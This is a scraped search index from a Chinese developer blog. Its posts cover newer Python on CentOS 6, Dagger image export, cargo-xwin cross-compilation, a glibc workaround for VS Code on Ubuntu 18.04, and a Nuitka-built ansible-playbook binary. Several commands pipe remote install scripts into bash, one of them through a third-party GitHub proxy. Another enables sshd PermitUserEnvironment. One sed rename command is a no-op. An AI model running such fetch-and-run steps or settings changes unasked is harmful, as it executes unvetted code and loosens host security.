source ~/.bashrc 此时就可以安装高版本 python 了\n需要注意的是，经过测试，numpy 编译时，如果不使用 -static-libgcc -static-libstdc++​，打包出来的将会报错如下类似于依赖 GCC_7.0.0\n1 2 3 4 5 6 7 # 预配置，尽量 -static-libgcc -static-libstdc++ echo \u0026#39;export LDFLAGS=\u0026#34;$LDFLAGS -static-libgcc -static-libstdc++\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc # 安装 python 3.12 pyenv install 3.12 # 如果你想安装静态编译版的 python # PYTHON_CONFIGURE_OPTS=\u0026#34;--disable-shared\u0026#34; pyenv install 3.12 # 会生成 libpython.a 静态库，可以使用 nuitka --standalone --static-libpython=yes 然后就可以安装 numpy，requests 等库尽情玩耍了\n如果你使用了 numpy 库，并且想使用 nuitka 打包，需要使用如下命令（注意上面的 LDFLAGS 依旧）\n1 ~/venv/bin/nuitka --standalone --include-data-files=/lib/libz.so.1.2.3=libz.so.1 --include-data-files=/usr/lib/libstdc++.so.6.0.28=libstdc++.so.6 --include-data-files=/usr/lib/libgcc_s.so.1=libgcc_s.so.1 main.py 其中的 --include-data-files​ 需要注意，一般是拷贝到其他机器在运行时报错缺少 libz.so.x​ 这种，就需要从编译机上弄一份进去\n另外，如果是在此处 32 位系统上编译出来的 exe（依赖 glibc），拷贝到 64 位系统上需要注意：64 位系统上需要先安装 x86 的 glibc（现代很多系统安装软件过程中就已经安装了，如果没有，需要使用 yum install glibc.i686​ 这样的命令安装，apt 系的系统类似）\n‍\n","permalink":"https://www.hacktech.cn/post/2025/07/centos6-uses-a-higher-version-of-python-6ysrp/","summary":"\u003cp\u003e原文链接：\u003ca href=\"https://www.hacktech.cn/post/2025/07/centos6-uses-a-higher-version-of-python-6ysrp/\"\u003ecentos6使用高版本python | Akkuman 的技术博客\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e需要能在 centos 6.3 上跑的 python 3.10 3.12\u003c/p\u003e\n\u003cp\u003e并且需要支持 pandas/numpy 科学库，能使用 nuitka 打包\u003c/p\u003e\n\u003cp\u003e官方版本肯定是跑不起来的\u003c/p\u003e\n\u003cp\u003e根据之前的 ansible-playbook 独立二进制编译实录 中提到的参考来看\u003c/p\u003e","title":"centos6使用高版本python"},{"content":"原文链接: Dagger 支持导出镜像到本机了 | Akkuman 的技术博客\n✨ Import image to local container runtime · Issue #8025 · dagger/dagger 这个 issue 从 2024.07 挂到现在（2025.07），官方总算是实现了\n之前想使用 dagger 构建镜像并且导出到本地，需要先导出成 tarball 包，然后再使用本地的 docker load 进行导入\n在昨天（2025.07.09），Allow loading Containers to host by jedevc · Pull Request #10662 · dagger/dagger 这个 PR 被合并了，后续就可以直接将 dagger 构建的镜像导出到本地了\n等 Dagger 新版发布后，我们就可以使用如下命令进行导出了\n​dagger call base export-image --name myimage​ ​dagger -c 'base | export-image myimage'​ 并且暴露了一个环境变量 _EXPERIMENTAL_DAGGER_RUNNER_IMAGESTORE​\n该变量支持两个值\ncontainerd docker-image 根据 Allow loading Containers to host by jedevc · Pull Request #10662 · dagger/dagger 和 Allow loading Containers to host by jedevc · Pull Request #10662 · dagger/dagger 这两部分代码，我们可以看出这两个值的效果\ncontainerd：默认使用 \u0026ldquo;github.com/containerd/containerd/defaults\u0026rdquo;.DefaultAddress，如果想自定义 containerd 地址，需配合 CONTAINERD_ADDRESS 环境变量使用 docker-image：需要保证 docker 命令存在（即存在 docker-cli），实际上内部的操作依旧是生成 tarball，然后管道调用 docker load，最后将对应的 imageid 设置为你定义的名称 总的来说，内置支持比之前自己写管道命令要省事一些，唯一的不爽就是 docker-image 居然是调用 docker-cli，就不能像 containerd 一样，直接调用 docker.sock 暴露的 api 吗\n","permalink":"https://www.hacktech.cn/post/2025/07/dagger-supports-exporting-images-to-the-local-machine-z2afl2o/","summary":"\u003cp\u003e原文链接: \u003ca href=\"https://www.hacktech.cn/post/2025/07/dagger-supports-exporting-images-to-the-local-machine-z2afl2o/\"\u003eDagger 支持导出镜像到本机了 | Akkuman 的技术博客\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/dagger/dagger/issues/8025\"\u003e✨ Import image to local container runtime · Issue #8025 · dagger/dagger\u003c/a\u003e 这个 issue 从 2024.07 挂到现在（2025.07），官方总算是实现了\u003c/p\u003e\n\u003cp\u003e之前想使用 dagger 构建镜像并且导出到本地，需要先导出成 tarball 包，然后再使用本地的 docker load 进行导入\u003c/p\u003e","title":"Dagger 支持导出镜像到本机了"},{"content":"背景 需要将 chainsaw 工具从 linux 交叉编译到 winsows x86，该工具使用了 libesedb-sys 库，使用 i686-pc-windows-gnu​ 交叉编译总报错\n和 mingw build failing · Issue #16 · sunsetkookaburra/rust-libesedb 出现的问题类似\n方案 首先按 cargo-xwin 官方文档搭建交叉编译环境\n1 2 3 git clone https://github.com/WithSecureLabs/chainsaw.git cd chainsaw docker run --rm -itd -e XWIN_ARCH=x86 -v $(pwd):/io -w /io messense/cargo-xwin:sha-05c8e72 bash 然后进入该容器安装一些依赖\n1 2 3 4 5 6 apt update apt install -y clang-tools llvm clang # 如果需要使用 rustup 加速镜像，请设置如下环境变量 export RUSTUP_DIST_SERVER=https://mirrors.tuna.tsinghua.edu.cn/rustup # 添加 target rustup target add i686-pc-windows-msvc 如果你需要使用 crates.io​ 加速镜像，可以参照 crates.io-index | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 和 crates.io-index镜像_crates.io-index下载地址_crates.io-index安装教程-阿里巴巴开源镜像站\n执行命令进行编译\n1 cargo xwin build --release --target i686-pc-windows-msvc 报错如下\n1 2 3 4 5 6 7 8 ...\u0026#39;Processthreadsapi.h\u0026#39; file not found ...\u0026#39;Synchapi.h\u0026#39; file not found ...\u0026#39;Threadpoolapiset.h\u0026#39; file not found --- stderr error occurred in cc-rs: command did not execute successfully (status code exit status: 1): LC_ALL=\u0026#34;C\u0026#34; \u0026#34;clang-cl\u0026#34; \u0026#34;-nologo\u0026#34; \u0026#34;-MD\u0026#34; \u0026#34;-O2\u0026#34; \u0026#34;-Brepro\u0026#34; \u0026#34;-m32\u0026#34; \u0026#34;-arch:SSE2\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/include\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/common\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libbfio\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcdata\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcerror\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcfile\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libclocale\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcnotify\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcpath\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcsplit\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libcthreads\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libesedb\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfcache\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfdata\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfdatetime\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfguid\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfmapi\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfvalue\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libfwnt\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libmapidb\u0026#34; \u0026#34;-I\u0026#34; \u0026#34;/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/libesedb-20230824/libuna\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBBFIO=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCDATA=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCERROR=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCFILE=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCLOCALE=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCNOTIFY=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCPATH=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCSPLIT=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBCTHREADS=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFCACHE=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFDATA=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFDATETIME=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFGUID=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFMAPI=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFVALUE=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBFWNT=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBMAPIDB=1\u0026#34; \u0026#34;-DHAVE_LOCAL_LIBUNA=1\u0026#34; \u0026#34;--target=i686-pc-windows-msvc\u0026#34; \u0026#34;-Wno-unused-command-line-argument\u0026#34; \u0026#34;-fuse-ld=lld-link\u0026#34; \u0026#34;/imsvc/root/.cache/cargo-xwin/xwin/crt/include\u0026#34; \u0026#34;/imsvc/root/.cache/cargo-xwin/xwin/sdk/include/ucrt\u0026#34; \u0026#34;/imsvc/root/.cache/cargo-xwin/xwin/sdk/include/um\u0026#34; \u0026#34;/imsvc/root/.cache/cargo-xwin/xwin/sdk/include/shared\u0026#34; \u0026#34;-Fo/io/target/i686-pc-windows-msvc/release/build/libesedb-sys-0777ba6a247460c3/out/b3682e27dd4a7e97-libcthreads_condition.o\u0026#34; \u0026#34;-c\u0026#34; \u0026#34;--\u0026#34; \u0026#34;libesedb-20230824/libcthreads/libcthreads_condition.c\u0026#34; 看看头文件实际是否存在\n1 2 $ find / -name \u0026#39;*rocessthreadsapi.h\u0026#39; /root/.cache/cargo-xwin/xwin/sdk/include/um/processthreadsapi.h 可以看到存在，并且上面的报错中，也包含了这个文件夹\n突然想到 windows 上查找头文件大小写不敏感，linux 上大小写敏感，于是进到 /root/.cache/cargo-xwin/xwin/sdk/include/um/​ 文件夹，使用 ln -s processthreadsapi.h Processthreadsapi.h​ 命令一个个建立了软链接，重新编译，成功了。\n或者你也可以使用如下命令临时修改下载到本地的 libesedb-sys 库中的源代码\n1 2 3 4 5 6 $ find / -name \u0026#39;libcthreads_condition.h\u0026#39; /usr/local/cargo/registry/src/mirrors.aliyun.com-0671735e7cc7f5e7/libesedb-sys-0.2.0/libesedb-20230824/libcthreads/libcthreads_condition.h $ cd /usr/local/cargo/registry/src/mirrors.aliyun.com-0671735e7cc7f5e7/libesedb-sys-0.2.0/libesedb-20230824 $ grep -rn \u0026#39;Synchapi.h\u0026#39; ./ | awk -F: \u0026#39;{print($1)}\u0026#39; | xargs -I{} sed -i \u0026#39;s|Synchapi.h|Synchapi.h|g\u0026#39; {} $ grep -rn \u0026#39;Processthreadsapi.h\u0026#39; ./ | awk -F: \u0026#39;{print($1)}\u0026#39; | xargs -I{} sed -i \u0026#39;s|Processthreadsapi.h|processthreadsapi.h|g\u0026#39; {} $ grep -rn \u0026#39;Threadpoolapiset.h\u0026#39; ./ | awk -F: \u0026#39;{print($1)}\u0026#39; | xargs -I{} sed -i \u0026#39;s|Threadpoolapiset.h|threadpoolapiset.h|g\u0026#39; {} 修改后重新编译\n我已经给 libesedb-sys 提了个 PR，详见 fix: header files not being found on linux by akkuman · Pull Request #18 · sunsetkookaburra/rust-libesedb\n如果想编译 win7 呢？ rust 官方目前已经放弃 win7 支持，如果想要编译成支持 win7，可参见 *-win7-windows-msvc - The rustc book\n目前对于 *-win7-windows-msvc​ 的支持是 Tier3\n这里以该项目为例，给出 win7 x86 目标的编译\n1 2 3 4 # 首先更新工具链到 nightly rustup update nightly # 然后尝试编译，rust 不提供针对此目标的预编译构件，所以需要加上 build-std cargo +nightly xwin build --release --target i686-win7-windows-msvc -Zbuild-std 编译可能会报错如下\n1 2 3 $ cargo +nightly xwin build --target i686-win7-windows-msvc -Zbuild-std error: \u0026#34;/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-gnu/lib/rustlib/src/rust/library/Cargo.lock\u0026#34; does not exist, unable to build with the standard library, try: rustup component add rust-src --toolchain nightly-x86_64-unknown-linux-gnu 出现这种报错，只需要按提示执行 rustup component add rust-src --toolchain nightly-x86_64-unknown-linux-gnu​ 即可，然后重新编译\n注意，网上可能有的会让你 rustup update nightly​ 后执行 rustup target add i686-win7-windows-msvc​，可能是之前可行，目前（rust 1.87）执行第二条命令会报错如下\n1 2 3 4 $ rustup target add x86_64-win7-windows-msvc error: toolchain \u0026#39;1.87.0-x86_64-unknown-linux-gnu\u0026#39; does not support target \u0026#39;x86_64-win7-windows-msvc\u0026#39; note: you can see a list of supported targets with `rustc --print=target-list` note: if you are adding support for a new target to rustc itself, see https://rustc-dev-guide.rust-lang.org/building/new-target.html 所以如果遇到问题，尝试按我给出的方案即可\n存在的问题 根据 x86_64-win7-windows-msvc target cannot run · Issue #128218 · rust-lang/rust，可能会遇到即使使用该目标编译到了 win7，可能还是有 api 不可用，比如 IsProcessCritical​\n如果你有遇到其他问题，也可以先查阅该 issue\n这种问题我觉得可能解决只能靠 YY-Thunks 这类项目了\n如果想编译到 xp 个人未进行尝试，可查阅如下链接，使用 YY-Thunks 和 VC-LTL5 来解决旧系统上缺少 API 以及导入表中 API-SET 的问题\nrust兼容win7解决方案 - 知乎 honsunrise/oldwin felixmaker/thunk: Build Rust program to support Windows XP, Vista and more deadash/XP-CompatibleRust: Introducing a powerful solution that converts any non-XP-compatible 32-bit exe or dll into a Windows XP-friendly binary. Our patch files are exceptionally small and easy to generate, making it incredibly straightforward to extend your software's support to the XP ecosystem. ","permalink":"https://www.hacktech.cn/post/2025/06/crosscompile-rust-programs-using-cargoxwin-ziwjqv/","summary":"\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e需要将 chainsaw 工具从 linux 交叉编译到 winsows x86，该工具使用了 libesedb-sys 库，使用 \u003ccode\u003ei686-pc-windows-gnu\u003c/code\u003e​ 交叉编译总报错\u003c/p\u003e\n\u003cp\u003e和 \u003ca href=\"https://github.com/sunsetkookaburra/rust-libesedb/issues/16\"\u003emingw build failing · Issue #16 · sunsetkookaburra/rust-libesedb\u003c/a\u003e 出现的问题类似\u003c/p\u003e","title":"使用 cargo-xwin 交叉编译 rust 程序"},{"content":"原文： vscode 1.99 后无法连接到 ubuntu 18.04 | Akkuman 的技术博客\n背景 vscode 远程开发出现报错 The remote host doesn\u0026rsquo;t meet the prerequisites for running VS Code Server（远程主机不满足运行VS Code服务器的先决条件）\n根本原因 早在2023年还是2024年初，vscode 就出过一次这种问题，官方的主要目的是放弃对低版本系统的支持。不过当时没有任何通知，比较突然，后续官方发了一个修复版本，让大家可以继续使用低版本系统到 2025 年第一季度，给了大家一定的时间去升级系统。\n然后官方在 1.97 的 changelog 中决定在 1.99 后将不允许连接到低版本系统进行远程开发。\n不过官方也给出了解决方案\n参见 https://aka.ms/vscode-remote/faq/old-linux\n250622 之后的解决方案 现在似乎又出问题了，最稳定的还是使用 linuxbrew。这里给出基于 linuxbrew 的解决方案，此处使用 bash 举例，如果你是 zsh 等环境，可以参见 homebrew | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror\n1 2 3 4 5 6 7 8 9 10 11 12 13 echo \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export HOMEBREW_BREW_GIT_REMOTE=\u0026#34;https://mirrors.aliyun.com/homebrew/brew.git\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export HOMEBREW_CORE_GIT_REMOTE=\u0026#34;https://mirrors.aliyun.com/homebrew/homebrew-core.git\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export HOMEBREW_API_DOMAIN=\u0026#34;https://mirrors.aliyun.com/homebrew-bottles/api\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export HOMEBREW_BOTTLE_DOMAIN=\u0026#34;https://mirrors.aliyun.com/homebrew/homebrew-bottles\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc export HOMEBREW_INSTALL_FROM_API=1 # 从阿里云下载安装脚本并安装 Homebrew git clone https://mirrors.aliyun.com/homebrew/install.git brew-install /bin/bash brew-install/install.sh rm -rf brew-install echo \u0026#39;eval \u0026#34;$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc 如果是海外环境，直接使用 /bin/bash -c \u0026quot;$(curl -fsSL https://github.com/Homebrew/install/raw/master/install.sh)\u0026quot;​ 即可\n然后使用命令 brew install patchelf​ 安装 patchelf\n然后执行如下命令\n1 2 3 4 5 echo \u0026#39;VSCODE_SERVER_CUSTOM_GLIBC_PATH=/home/linuxbrew/.linuxbrew/opt/glibc/lib\u0026#39; \u0026gt;\u0026gt; ~/.ssh/environment echo \u0026#39;VSCODE_SERVER_PATCHELF_PATH=/home/linuxbrew/.linuxbrew/bin/patchelf\u0026#39; \u0026gt;\u0026gt; ~/.ssh/environment echo \u0026#39;VSCODE_SERVER_CUSTOM_GLIBC_LINKER=/home/linuxbrew/.linuxbrew/opt/glibc/lib/ld-linux-x86-64.so.2\u0026#39; \u0026gt;\u0026gt; ~/.ssh/environment sudo sed -i \u0026#39;s|#PermitUserEnvironment no|PermitUserEnvironment yes|g\u0026#39; /etc/ssh/sshd_config sudo systemctl restart sshd 旧版解决方案 官方给出的解决方案是先使用 crosstool 弄出一个高版本 glibc 的环境，然后使用 patchelf 来自动 patch\n不过这个方案需要拿 crosstool 自己编译，也挺麻烦\n有人给出了可以使用 brew 安装 glibc 和 patchelf，参见 Connect to Unsupported Older Linux servers with VS Code Remote-SSH using Custom glibc \u0026amp; libstdc++ - DEV Community\n但是 brew 是一个 ruby 工具，安装也挺麻烦。\n下面给出一种更简单的方案\n下载 glibc 1 2 3 4 # 下载 glibc bottle curl --disable --cookie /dev/null --globoff --show-error --fail --progress-bar --retry 3 --header \u0026#39;Authorization: Bearer QQ==\u0026#39; --location --remote-time --output glibc.bottle.tar.gz \u0026#34;https://ghcr.io/v2/homebrew/core/glibc/blobs/sha256:91e866deda35d20e5e5e7a288ae0902b7692ec4398d4267c74c84a6ebcc7cdd9\u0026#34; # 将 glibc/2.35_1 放到 /opt 下 sudo tar -xzf glibc.bottle.tar.gz -C /opt 下载 patchelf 打开 Releases · NixOS/patchelf 下载合适的 patchelf\n然后解压出来，将 bin/patchelf 放置到主机上的 /usr/local/bin/patchelf\n配置环境变量 然后将以下内容写入到 ~/.ssh/environment 中\n1 2 3 VSCODE_SERVER_CUSTOM_GLIBC_LINKER=/opt/glibc/2.35_1/lib/ld-linux-x86-64.so.2 VSCODE_SERVER_CUSTOM_GLIBC_PATH=/opt/glibc/2.35_1/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu VSCODE_SERVER_PATCHELF_PATH=/usr/local/bin/patchelf 然后执行如下命令开启 ssh 环境变量\n1 2 sudo sed -i \u0026#39;s|#PermitUserEnvironment no|PermitUserEnvironment yes|g\u0026#39; /etc/ssh/sshd_config sudo systemctl restart sshd 构造搜索路径 注意该步骤是必要的，否则会出现终端无法打开的问题\n1 2 sudo mkdir -p /home/linuxbrew/.linuxbrew/Cellar sudo ln -s /opt/glibc /home/linuxbrew/.linuxbrew/Cellar/glibc 重要的题外话 考虑到后面也可能出现同样的问题（linuxbrew 预编译的 glibc 有预置的库搜索路径）导致一些功能缺失，建议直接安装 linuxbrew + glibc 来使用。国内可参见 homebrew | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 来安装，然后按照 Connect to Unsupported Older Linux servers with VS Code Remote-SSH using Custom glibc \u0026amp; libstdc++ - DEV Community 中的来进行配置即可\n重新测试 然后重新连接即可\n如果不成功，请 ssh 登录到远程机器，执行 env | grep VSCODE​ 确认一下环境变量，如果不是这个，请检查你远程主机上的下列文件\n​~/.bashrc​ ​/etc/environment​ ​~/.profile​ ​~/.zprofile​ ​~/.bash_profile​ 查看是否有包含上述环境变量，如果存在就删除\n参考链接 VS Code Server Not Detecting Custom Environment Variables for Old Linux Workaround · Issue #246375 · microsoft/vscode Connect to Unsupported Older Linux servers with VS Code Remote-SSH using Custom glibc \u0026amp; libstdc++ - DEV Community Remote Development FAQ Allow connecting to unsupported Linux remotes, by use of custom glibc and stdc++ libraries · Issue #231623 · microsoft/vscode How does homebrew store bottles? · Homebrew · Discussion #4335 Package core/glibc ‍\n","permalink":"https://www.hacktech.cn/post/2025/05/unable-to-connect-to-ubuntu-1804-after-vscode-199-z1vf6tf/","summary":"\u003cp\u003e原文： \u003ca href=\"https://www.hacktech.cn/post/2025/05/unable-to-connect-to-ubuntu-1804-after-vscode-199-z1vf6tf/\"\u003evscode 1.99 后无法连接到 ubuntu 18.04 | Akkuman 的技术博客\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003evscode 远程开发出现报错 The remote host doesn\u0026rsquo;t meet the prerequisites for running VS Code Server（远程主机不满足运行VS Code服务器的先决条件）\u003c/p\u003e","title":"vscode 1.99 后无法连接到 ubuntu 18.04"},{"content":"背景/起因 内部产品涉及到很多 docker 镜像，分布式安装涉及很多主机，所以采用了 ansible 来编写部署脚本，但是有时候会因为部署机器的系统或安装的 ansible 版本不同，总是会有各种各样的问题。\n最开始解决这个问题的方案是构建了一个安装了 ansible 的 alpine 镜像，然后让用户导入镜像再执行特定的命令来进行安装。\n但是我们为了保证 docker 版本不一致导致的安装问题，我们在 ansible 脚本执行过程中，会清空卸载目标主机上的 docker，然后用我们的方案重装，这就导致了执行安装命令的机器不能作为目标主机进行部署，需要一台额外的主机（因为我们是依靠 docker 容器内部的 ansible-playbook 来执行的，清空卸载 docker 服务这个动作会造成 ansible-playbook 停止执行）。\n所以自然而然就想到：能不能像 Golang 一样编译一个 ansible-playbook 的独立二进制可执行文件，这样就解决这个问题了。\n当然，也有像 Pulumi 这样的方案，能够使用 Golang 代码来定义执行过程，目前本人还没调研过是否能方便编译出二进制运行。不过部署脚本已经使用 ansible 了，为了成本最小，还是继续能沿用 ansible 最佳。\n260415 更新 遇到了目标机器 python 3.12，会有 https 请求的问题，经过查询 Releases and maintenance — Ansible Community Documentation ，发现需要升级到 ansible 9\nansible 9 依赖 python 3.10，但编译 python 3.10 需要 openssl111，debian jessie 只能安装到 1.0，所以研究了一下，换成了 centos7，他的 glibc 是 2.17\n编译过程中发现 nuitka clang 在 clang 3.4 版本上无法正常编译（官方未说明），经过之前 debian jessie 上的经验，clang 3.5 应该可用，于是使用了 llvm-toolset-7（clang 5.0.1）\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 VERSION 0.8 FROM centos:7.9.2009 WORKDIR /workdir deps: ENV PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1 ENV PYTHON_BUILD_MIRROR_URL=\u0026#34;https://registry.npmmirror.com/-/binary/python\u0026#34; ENV PATH=\u0026#34;/root/.pyenv/bin:$PATH\u0026#34; RUN \\ # 写入镜像源 curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo \\ \u0026amp;\u0026amp; curl -o /etc/yum.repos.d/epel.repo https://mirrors.aliyun.com/repo/epel-7.repo \\ \u0026amp;\u0026amp; printf \u0026#39;%s\\n\u0026#39; \u0026#34;[centos-sclo-sclo]\u0026#34; \u0026#34;name=CentOS-7 - SCLo sclo\u0026#34; \u0026#34;baseurl=http://mirrors.aliyun.com/centos/7/sclo/\\$basearch/sclo/\u0026#34; \u0026#34;gpgcheck=0\u0026#34; \u0026#34;enabled=1\u0026#34; \u0026#34;gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-SIG-SCLo\u0026#34; \u0026gt; /etc/yum.repos.d/CentOS-SCLo-scl.repo \\ \u0026amp;\u0026amp; printf \u0026#39;%s\\n\u0026#39; \u0026#34;[centos-sclo-rh]\u0026#34; \u0026#34;name=CentOS-7 - SCLo rh\u0026#34; \u0026#34;baseurl=http://mirrors.aliyun.com/centos/7/sclo/\\$basearch/rh/\u0026#34; \u0026#34;gpgcheck=0\u0026#34; \u0026#34;enabled=1\u0026#34; \u0026#34;gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-SIG-SCLo\u0026#34; \u0026gt; /etc/yum.repos.d/CentOS-SCLo-scl-rh.repo \\ \u0026amp;\u0026amp; yum install -y \\ ccache \\ patchelf \\ openssl11 openssl11-devel \\ make \\ zlib-devel bzip2 bzip2-devel readline-devel sqlite sqlite-devel tk-devel libffi-devel xz-devel \\ git \\ llvm-toolset-7 # 使用 openssl11 替换 openssl # python 3.10 需要 openssl11 RUN ln -sf /usr/lib64/pkgconfig/openssl11.pc /usr/lib64/pkgconfig/openssl.pc \\ \u0026amp;\u0026amp; ln -s /usr/bin/openssl11 /usr/bin/openssl # 从源码构建安装 python 3.10.20 RUN curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | sed \u0026#39;s|https://github.com/|https://ghfast.top/https://github.com/|g\u0026#39; | bash RUN eval \u0026#34;$(pyenv init -)\u0026#34; # 进入 llvm-toolset-7 环境编译 RUN PYTHON_CONFIGURE_OPTS=\u0026#34;--enable-shared\u0026#34; CXX=\u0026#34;clang++\u0026#34; CC=\u0026#34;clang\u0026#34; source /opt/rh/llvm-toolset-7/enable \\ \u0026amp;\u0026amp; pyenv install 3.10.20 \\ \u0026amp;\u0026amp; pyenv global 3.10.20 build: FROM +deps RUN /root/.pyenv/versions/3.10.20/bin/python -m pip install --force-reinstall ansible==9.13.0 nuitka==2.8.10 -i https://mirrors.aliyun.com/pypi/simple/ RUN source /opt/rh/llvm-toolset-7/enable \\ \u0026amp;\u0026amp; /root/.pyenv/versions/3.10.20/bin/python -m nuitka \\ --clang \\ --onefile \\ --include-package=pty \\ --include-package=xml \\ --include-package-data=ansible:\u0026#39;*.py\u0026#39; \\ --include-package-data=ansible:\u0026#39;*.yml\u0026#39; \\ /root/.pyenv/versions/3.10.20/bin/ansible-playbook SAVE ARTIFACT ansible-playbook.bin AS LOCAL ansible-playbook.bin 参考链接 centos7 yum 安装 openssl 1.1.1k - NAVYSUMMER - 博客园 OpenSSL 1.1.1 が必須なPython 3.10.x をAmazon Linux 2 にインストールする - サーバーワークスエンジニアブログ Centos7安装SCL源_centos-release-scl-CSDN博客 Code-Collection/solution/install-llvm/install-llvm.md at master · Youjingyu/Code-Collection 方案调研 ansible 是一个 Python 写的工具。\nPython 工具编译成可执行文件大致有这几种方案：\npyinstaller Nuitka cx_Freeze py2exe PyOxidizer 截止到我当时处理这个问题时，PyOxidizer 还并不成熟，所以看了下 Nuitka，是 pyinstaller 之后出来的更现代的方案，所以决定选用这个。\n编译环境方面的问题，打算使用 Docker 进行解决，恰好用过 Earthly，可以在 Docker 环境中编译好后导出文件，所以用这个\n牛刀小试 我首先尝试使用 Python 的官方镜像做打包\n搜索到了一个人有做过相关的 Ansika/Dockerfile at main · HexmosTech/Ansika\n结合这个 Dockerfile，加上自己的调研测试，得出如下 Earthfile\n1 2 3 